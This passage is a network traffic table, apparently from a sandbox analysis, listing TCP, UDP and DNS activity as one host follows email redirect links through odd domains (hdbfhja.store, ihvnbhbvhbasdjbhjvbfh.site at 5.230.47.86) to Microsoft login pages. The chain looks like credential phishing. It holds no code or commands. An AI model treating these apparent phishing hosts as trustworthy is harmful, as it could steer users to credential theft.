May 7, 2024 20:32:12.973187923 CEST	49859	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.973208904 CEST	443	49859	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.973567009 CEST	49861	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.973592043 CEST	443	49861	13.107.213.40	192.168.2.4
May 7, 2024 20:32:12.974121094 CEST	49860	443	192.168.2.4	13.107.213.40
May 7, 2024 20:32:12.974153042 CEST	443	49860	13.107.213.40	192.168.2.4
May 7, 2024 20:32:15.122678995 CEST	443	49828	142.250.65.196	192.168.2.4
May 7, 2024 20:32:15.122749090 CEST	443	49828	142.250.65.196	192.168.2.4
May 7, 2024 20:32:15.122936964 CEST	49828	443	192.168.2.4	142.250.65.196
May 7, 2024 20:32:15.637809038 CEST	443	49759	52.146.76.30	192.168.2.4
May 7, 2024 20:32:15.637903929 CEST	443	49759	52.146.76.30	192.168.2.4
May 7, 2024 20:32:15.638335943 CEST	49759	443	192.168.2.4	52.146.76.30
May 7, 2024 20:32:17.549782038 CEST	49759	443	192.168.2.4	52.146.76.30
May 7, 2024 20:32:17.549815893 CEST	443	49759	52.146.76.30	192.168.2.4
May 7, 2024 20:32:17.549823999 CEST	49828	443	192.168.2.4	142.250.65.196
May 7, 2024 20:32:17.549865007 CEST	443	49828	142.250.65.196	192.168.2.4
May 7, 2024 20:32:22.411119938 CEST	49789	443	192.168.2.4	5.230.47.86
May 7, 2024 20:32:22.411139011 CEST	443	49789	5.230.47.86	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 7, 2024 20:31:00.641729116 CEST	53	63374	1.1.1.1	192.168.2.4
May 7, 2024 20:31:00.652731895 CEST	53	51889	1.1.1.1	192.168.2.4
May 7, 2024 20:31:01.185587883 CEST	53	63328	1.1.1.1	192.168.2.4
May 7, 2024 20:31:02.385776043 CEST	52048	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:02.385925055 CEST	65456	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:02.471084118 CEST	53	65456	1.1.1.1	192.168.2.4
May 7, 2024 20:31:02.472484112 CEST	53	52048	1.1.1.1	192.168.2.4
May 7, 2024 20:31:04.888087988 CEST	53814	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:04.888482094 CEST	55521	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:04.972616911 CEST	53	53814	1.1.1.1	192.168.2.4
May 7, 2024 20:31:04.973066092 CEST	53	55521	1.1.1.1	192.168.2.4
May 7, 2024 20:31:05.506367922 CEST	64700	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:05.506747007 CEST	61080	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:05.598628044 CEST	53	61080	1.1.1.1	192.168.2.4
May 7, 2024 20:31:08.718184948 CEST	51831	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:08.718561888 CEST	60161	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:08.810230017 CEST	53	60161	1.1.1.1	192.168.2.4
May 7, 2024 20:31:15.222898960 CEST	49766	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:15.223476887 CEST	51464	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:15.567744970 CEST	138	138	192.168.2.4	192.168.2.255
May 7, 2024 20:31:16.054080963 CEST	49948	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:16.054253101 CEST	51487	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:16.374026060 CEST	53	49948	1.1.1.1	192.168.2.4
May 7, 2024 20:31:16.747909069 CEST	53	51487	1.1.1.1	192.168.2.4
May 7, 2024 20:31:19.198506117 CEST	53	50674	1.1.1.1	192.168.2.4
May 7, 2024 20:31:20.310946941 CEST	52037	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:20.311139107 CEST	54740	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:20.398745060 CEST	53	54740	1.1.1.1	192.168.2.4
May 7, 2024 20:31:20.412636042 CEST	53	52037	1.1.1.1	192.168.2.4
May 7, 2024 20:31:21.350593090 CEST	61701	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:21.351100922 CEST	56695	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:21.434973955 CEST	53	61701	1.1.1.1	192.168.2.4
May 7, 2024 20:31:21.437359095 CEST	53	56695	1.1.1.1	192.168.2.4
May 7, 2024 20:31:22.392910004 CEST	62563	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:22.393198967 CEST	49380	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:22.476985931 CEST	53	62563	1.1.1.1	192.168.2.4
May 7, 2024 20:31:22.478565931 CEST	53	49380	1.1.1.1	192.168.2.4
May 7, 2024 20:31:23.366981983 CEST	64036	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:23.367407084 CEST	62797	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:23.452692986 CEST	53	62797	1.1.1.1	192.168.2.4
May 7, 2024 20:31:23.453025103 CEST	53	64036	1.1.1.1	192.168.2.4
May 7, 2024 20:31:38.069021940 CEST	58874	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:38.069255114 CEST	58242	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:38.175029039 CEST	53	58242	1.1.1.1	192.168.2.4
May 7, 2024 20:31:38.176987886 CEST	53	58874	1.1.1.1	192.168.2.4
May 7, 2024 20:31:38.387696028 CEST	53	57349	1.1.1.1	192.168.2.4
May 7, 2024 20:31:45.050117970 CEST	52075	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:45.050359011 CEST	57867	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:45.134155989 CEST	53	52075	1.1.1.1	192.168.2.4
May 7, 2024 20:31:45.134516954 CEST	53	57867	1.1.1.1	192.168.2.4
May 7, 2024 20:31:50.824076891 CEST	52257	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:50.824294090 CEST	61916	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:50.908718109 CEST	53	52257	1.1.1.1	192.168.2.4
May 7, 2024 20:31:50.908857107 CEST	53	61916	1.1.1.1	192.168.2.4
May 7, 2024 20:31:51.422684908 CEST	61946	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:51.422997952 CEST	50048	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:52.206360102 CEST	53	58499	1.1.1.1	192.168.2.4
May 7, 2024 20:31:52.940892935 CEST	62851	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:52.941281080 CEST	54273	53	192.168.2.4	1.1.1.1
May 7, 2024 20:31:53.029372931 CEST	53	54273	1.1.1.1	192.168.2.4
May 7, 2024 20:31:53.045649052 CEST	53	62851	1.1.1.1	192.168.2.4
May 7, 2024 20:32:00.205223083 CEST	53	49357	1.1.1.1	192.168.2.4
May 7, 2024 20:32:01.194494963 CEST	53	63648	1.1.1.1	192.168.2.4
May 7, 2024 20:32:07.454432011 CEST	59886	53	192.168.2.4	1.1.1.1
May 7, 2024 20:32:07.454597950 CEST	58759	53	192.168.2.4	1.1.1.1
May 7, 2024 20:32:07.540250063 CEST	53	58759	1.1.1.1	192.168.2.4
May 7, 2024 20:32:07.652503014 CEST	49821	53	192.168.2.4	1.1.1.1
May 7, 2024 20:32:07.652822971 CEST	56223	53	192.168.2.4	1.1.1.1
May 7, 2024 20:32:07.742208958 CEST	53	56223	1.1.1.1	192.168.2.4
May 7, 2024 20:32:07.926682949 CEST	59454	53	192.168.2.4	1.1.1.1
May 7, 2024 20:32:07.926948071 CEST	57502	53	192.168.2.4	1.1.1.1
May 7, 2024 20:32:08.135694027 CEST	57755	53	192.168.2.4	1.1.1.1
May 7, 2024 20:32:08.136137009 CEST	57134	53	192.168.2.4	1.1.1.1
May 7, 2024 20:32:08.622097015 CEST	60205	53	192.168.2.4	1.1.1.1
May 7, 2024 20:32:08.622271061 CEST	52123	53	192.168.2.4	1.1.1.1
May 7, 2024 20:32:08.706351042 CEST	53	60205	1.1.1.1	192.168.2.4
May 7, 2024 20:32:08.707494974 CEST	53	52123	1.1.1.1	192.168.2.4
May 7, 2024 20:32:09.360173941 CEST	58742	53	192.168.2.4	1.1.1.1
May 7, 2024 20:32:09.360318899 CEST	65520	53	192.168.2.4	1.1.1.1
May 7, 2024 20:32:09.444940090 CEST	53	65520	1.1.1.1	192.168.2.4
May 7, 2024 20:32:11.962872028 CEST	53	59645	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
May 7, 2024 20:31:16.748181105 CEST	192.168.2.4	1.1.1.1	c21f	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 7, 2024 20:31:02.385776043 CEST	192.168.2.4	1.1.1.1	0xd599	Standard query (0)	url.us.m.mimecastprotect.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:02.385925055 CEST	192.168.2.4	1.1.1.1	0xdc1a	Standard query (0)	url.us.m.mimecastprotect.com	65	IN (0x0001)	false
May 7, 2024 20:31:04.888087988 CEST	192.168.2.4	1.1.1.1	0x8564	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:04.888482094 CEST	192.168.2.4	1.1.1.1	0xae0e	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 7, 2024 20:31:05.506367922 CEST	192.168.2.4	1.1.1.1	0x39e0	Standard query (0)	url2.mailanyone.net	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:05.506747007 CEST	192.168.2.4	1.1.1.1	0xa5d5	Standard query (0)	url2.mailanyone.net	65	IN (0x0001)	false
May 7, 2024 20:31:08.718184948 CEST	192.168.2.4	1.1.1.1	0x5cab	Standard query (0)	url2.mailanyone.net	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:08.718561888 CEST	192.168.2.4	1.1.1.1	0x9e01	Standard query (0)	url2.mailanyone.net	65	IN (0x0001)	false
May 7, 2024 20:31:15.222898960 CEST	192.168.2.4	1.1.1.1	0xfbe6	Standard query (0)	public-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:15.223476887 CEST	192.168.2.4	1.1.1.1	0x85cb	Standard query (0)	public-usa.mkt.dynamics.com	65	IN (0x0001)	false
May 7, 2024 20:31:16.054080963 CEST	192.168.2.4	1.1.1.1	0x1a8	Standard query (0)	greefrunners.co.za	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:16.054253101 CEST	192.168.2.4	1.1.1.1	0xebc9	Standard query (0)	greefrunners.co.za	65	IN (0x0001)	false
May 7, 2024 20:31:20.310946941 CEST	192.168.2.4	1.1.1.1	0x41b1	Standard query (0)	hdbfhja.store	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:20.311139107 CEST	192.168.2.4	1.1.1.1	0xb0a1	Standard query (0)	hdbfhja.store	65	IN (0x0001)	false
May 7, 2024 20:31:21.350593090 CEST	192.168.2.4	1.1.1.1	0x9fe3	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:21.351100922 CEST	192.168.2.4	1.1.1.1	0xc9e4	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
May 7, 2024 20:31:22.392910004 CEST	192.168.2.4	1.1.1.1	0xb153	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:22.393198967 CEST	192.168.2.4	1.1.1.1	0x409	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
May 7, 2024 20:31:23.366981983 CEST	192.168.2.4	1.1.1.1	0x78d0	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:23.367407084 CEST	192.168.2.4	1.1.1.1	0x3ed2	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
May 7, 2024 20:31:38.069021940 CEST	192.168.2.4	1.1.1.1	0x878	Standard query (0)	ihvnbhbvhbasdjbhjvbfh.site	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:38.069255114 CEST	192.168.2.4	1.1.1.1	0x111d	Standard query (0)	ihvnbhbvhbasdjbhjvbfh.site	65	IN (0x0001)	false
May 7, 2024 20:31:45.050117970 CEST	192.168.2.4	1.1.1.1	0x9436	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:45.050359011 CEST	192.168.2.4	1.1.1.1	0x864e	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
May 7, 2024 20:31:50.824076891 CEST	192.168.2.4	1.1.1.1	0xa0a3	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:50.824294090 CEST	192.168.2.4	1.1.1.1	0x7f99	Standard query (0)	outlook.office365.com	65	IN (0x0001)	false
May 7, 2024 20:31:51.422684908 CEST	192.168.2.4	1.1.1.1	0xb0bb	Standard query (0)	r4.res.office365.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:51.422997952 CEST	192.168.2.4	1.1.1.1	0xa1c4	Standard query (0)	r4.res.office365.com	65	IN (0x0001)	false
May 7, 2024 20:31:52.940892935 CEST	192.168.2.4	1.1.1.1	0x285	Standard query (0)	ihvnbhbvhbasdjbhjvbfh.site	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:52.941281080 CEST	192.168.2.4	1.1.1.1	0x4c7b	Standard query (0)	ihvnbhbvhbasdjbhjvbfh.site	65	IN (0x0001)	false
May 7, 2024 20:32:07.454432011 CEST	192.168.2.4	1.1.1.1	0x369	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:32:07.454597950 CEST	192.168.2.4	1.1.1.1	0x89ba	Standard query (0)	www.office.com	65	IN (0x0001)	false
May 7, 2024 20:32:07.652503014 CEST	192.168.2.4	1.1.1.1	0x5c43	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:32:07.652822971 CEST	192.168.2.4	1.1.1.1	0xfdec	Standard query (0)	www.office.com	65	IN (0x0001)	false
May 7, 2024 20:32:07.926682949 CEST	192.168.2.4	1.1.1.1	0x6c9d	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:32:07.926948071 CEST	192.168.2.4	1.1.1.1	0xc9ff	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
May 7, 2024 20:32:08.135694027 CEST	192.168.2.4	1.1.1.1	0x31fa	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:32:08.136137009 CEST	192.168.2.4	1.1.1.1	0xecf8	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
May 7, 2024 20:32:08.622097015 CEST	192.168.2.4	1.1.1.1	0xb437	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
May 7, 2024 20:32:08.622271061 CEST	192.168.2.4	1.1.1.1	0x85ea	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
May 7, 2024 20:32:09.360173941 CEST	192.168.2.4	1.1.1.1	0xe33d	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
May 7, 2024 20:32:09.360318899 CEST	192.168.2.4	1.1.1.1	0xe07	Standard query (0)	www.office.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 7, 2024 20:31:02.472484112 CEST	1.1.1.1	192.168.2.4	0xd599	No error (0)	url.us.m.mimecastprotect.com		205.139.111.117	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:02.472484112 CEST	1.1.1.1	192.168.2.4	0xd599	No error (0)	url.us.m.mimecastprotect.com		205.139.111.12	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:02.472484112 CEST	1.1.1.1	192.168.2.4	0xd599	No error (0)	url.us.m.mimecastprotect.com		207.211.31.64	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:02.472484112 CEST	1.1.1.1	192.168.2.4	0xd599	No error (0)	url.us.m.mimecastprotect.com		207.211.31.106	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:02.472484112 CEST	1.1.1.1	192.168.2.4	0xd599	No error (0)	url.us.m.mimecastprotect.com		205.139.111.113	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:02.472484112 CEST	1.1.1.1	192.168.2.4	0xd599	No error (0)	url.us.m.mimecastprotect.com		207.211.31.113	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:04.972616911 CEST	1.1.1.1	192.168.2.4	0x8564	No error (0)	www.google.com		142.250.65.196	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:04.973066092 CEST	1.1.1.1	192.168.2.4	0xae0e	No error (0)	www.google.com			65	IN (0x0001)	false
May 7, 2024 20:31:05.596884966 CEST	1.1.1.1	192.168.2.4	0x39e0	No error (0)	url2.mailanyone.net	url2.mailanyone.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:05.598628044 CEST	1.1.1.1	192.168.2.4	0xa5d5	No error (0)	url2.mailanyone.net	url2.mailanyone.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:08.807173967 CEST	1.1.1.1	192.168.2.4	0x5cab	No error (0)	url2.mailanyone.net	url2.mailanyone.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:08.810230017 CEST	1.1.1.1	192.168.2.4	0x9e01	No error (0)	url2.mailanyone.net	url2.mailanyone.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:15.308056116 CEST	1.1.1.1	192.168.2.4	0xfbe6	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:15.308056116 CEST	1.1.1.1	192.168.2.4	0xfbe6	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:15.308056116 CEST	1.1.1.1	192.168.2.4	0xfbe6	No error (0)	prdia888eus0aks.mkt.dynamics.com		52.146.76.30	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:15.337006092 CEST	1.1.1.1	192.168.2.4	0x85cb	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:15.337006092 CEST	1.1.1.1	192.168.2.4	0x85cb	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:16.374026060 CEST	1.1.1.1	192.168.2.4	0x1a8	No error (0)	greefrunners.co.za		102.130.123.81	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:16.833688021 CEST	1.1.1.1	192.168.2.4	0x740e	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:16.833688021 CEST	1.1.1.1	192.168.2.4	0x740e	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:20.412636042 CEST	1.1.1.1	192.168.2.4	0x41b1	No error (0)	hdbfhja.store		5.230.47.86	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:21.434973955 CEST	1.1.1.1	192.168.2.4	0x9fe3	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:21.434973955 CEST	1.1.1.1	192.168.2.4	0x9fe3	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:21.437359095 CEST	1.1.1.1	192.168.2.4	0xc9e4	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
May 7, 2024 20:31:22.476985931 CEST	1.1.1.1	192.168.2.4	0xb153	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:22.476985931 CEST	1.1.1.1	192.168.2.4	0xb153	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:22.478565931 CEST	1.1.1.1	192.168.2.4	0x409	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
May 7, 2024 20:31:23.452692986 CEST	1.1.1.1	192.168.2.4	0x3ed2	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
May 7, 2024 20:31:23.453025103 CEST	1.1.1.1	192.168.2.4	0x78d0	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:23.453025103 CEST	1.1.1.1	192.168.2.4	0x78d0	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:29.194844961 CEST	1.1.1.1	192.168.2.4	0x33f3	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:29.194844961 CEST	1.1.1.1	192.168.2.4	0x33f3	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:38.176987886 CEST	1.1.1.1	192.168.2.4	0x878	No error (0)	ihvnbhbvhbasdjbhjvbfh.site		5.230.47.86	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:45.133605003 CEST	1.1.1.1	192.168.2.4	0x76bb	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:45.133605003 CEST	1.1.1.1	192.168.2.4	0x76bb	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:45.133605003 CEST	1.1.1.1	192.168.2.4	0x76bb	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:45.134155989 CEST	1.1.1.1	192.168.2.4	0x9436	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:45.134155989 CEST	1.1.1.1	192.168.2.4	0x9436	No error (0)	cs1100.wpc.omegacdn.net		152.199.4.44	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:45.134516954 CEST	1.1.1.1	192.168.2.4	0x864e	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:50.908718109 CEST	1.1.1.1	192.168.2.4	0xa0a3	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:50.908718109 CEST	1.1.1.1	192.168.2.4	0xa0a3	No error (0)	ooc-g2.tm-4.office.com		52.96.62.226	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:50.908718109 CEST	1.1.1.1	192.168.2.4	0xa0a3	No error (0)	ooc-g2.tm-4.office.com		52.96.109.194	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:50.908718109 CEST	1.1.1.1	192.168.2.4	0xa0a3	No error (0)	ooc-g2.tm-4.office.com		52.96.111.98	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:50.908718109 CEST	1.1.1.1	192.168.2.4	0xa0a3	No error (0)	ooc-g2.tm-4.office.com		52.96.32.2	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:50.908718109 CEST	1.1.1.1	192.168.2.4	0xa0a3	No error (0)	ooc-g2.tm-4.office.com		52.96.109.242	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:50.908718109 CEST	1.1.1.1	192.168.2.4	0xa0a3	No error (0)	ooc-g2.tm-4.office.com		52.96.15.2	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:50.908718109 CEST	1.1.1.1	192.168.2.4	0xa0a3	No error (0)	ooc-g2.tm-4.office.com		52.96.88.82	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:50.908718109 CEST	1.1.1.1	192.168.2.4	0xa0a3	No error (0)	ooc-g2.tm-4.office.com		40.97.188.226	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:50.908857107 CEST	1.1.1.1	192.168.2.4	0x7f99	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:50.908857107 CEST	1.1.1.1	192.168.2.4	0x7f99	No error (0)	ooc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:50.908857107 CEST	1.1.1.1	192.168.2.4	0x7f99	No error (0)	outlook.ms-acdc.office.com	MNZ-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:51.508646965 CEST	1.1.1.1	192.168.2.4	0xb0bb	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:51.508667946 CEST	1.1.1.1	192.168.2.4	0xa1c4	No error (0)	r4.res.office365.com	r4.res.office365.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:53.045649052 CEST	1.1.1.1	192.168.2.4	0x285	No error (0)	ihvnbhbvhbasdjbhjvbfh.site		5.230.47.86	A (IP address)	IN (0x0001)	false
May 7, 2024 20:31:53.492321014 CEST	1.1.1.1	192.168.2.4	0xea9	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:31:53.492321014 CEST	1.1.1.1	192.168.2.4	0xea9	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
May 7, 2024 20:32:07.540134907 CEST	1.1.1.1	192.168.2.4	0x369	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:07.540134907 CEST	1.1.1.1	192.168.2.4	0x369	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:07.540250063 CEST	1.1.1.1	192.168.2.4	0x89ba	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:07.540250063 CEST	1.1.1.1	192.168.2.4	0x89ba	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:07.738948107 CEST	1.1.1.1	192.168.2.4	0x5c43	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:07.738948107 CEST	1.1.1.1	192.168.2.4	0x5c43	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:07.738948107 CEST	1.1.1.1	192.168.2.4	0x5c43	No error (0)	b-0004.b-dc-msedge.net		13.107.9.156	A (IP address)	IN (0x0001)	false
May 7, 2024 20:32:07.742208958 CEST	1.1.1.1	192.168.2.4	0xfdec	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:07.742208958 CEST	1.1.1.1	192.168.2.4	0xfdec	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:08.011137009 CEST	1.1.1.1	192.168.2.4	0x6c9d	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:08.011621952 CEST	1.1.1.1	192.168.2.4	0xc9ff	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:08.219820023 CEST	1.1.1.1	192.168.2.4	0x31fa	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:08.220278025 CEST	1.1.1.1	192.168.2.4	0xecf8	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:08.706351042 CEST	1.1.1.1	192.168.2.4	0xb437	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:08.706351042 CEST	1.1.1.1	192.168.2.4	0xb437	No error (0)	cs1100.wpc.omegacdn.net		152.199.4.44	A (IP address)	IN (0x0001)	false
May 7, 2024 20:32:08.707494974 CEST	1.1.1.1	192.168.2.4	0x85ea	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:09.444430113 CEST	1.1.1.1	192.168.2.4	0xe33d	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:09.444430113 CEST	1.1.1.1	192.168.2.4	0xe33d	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
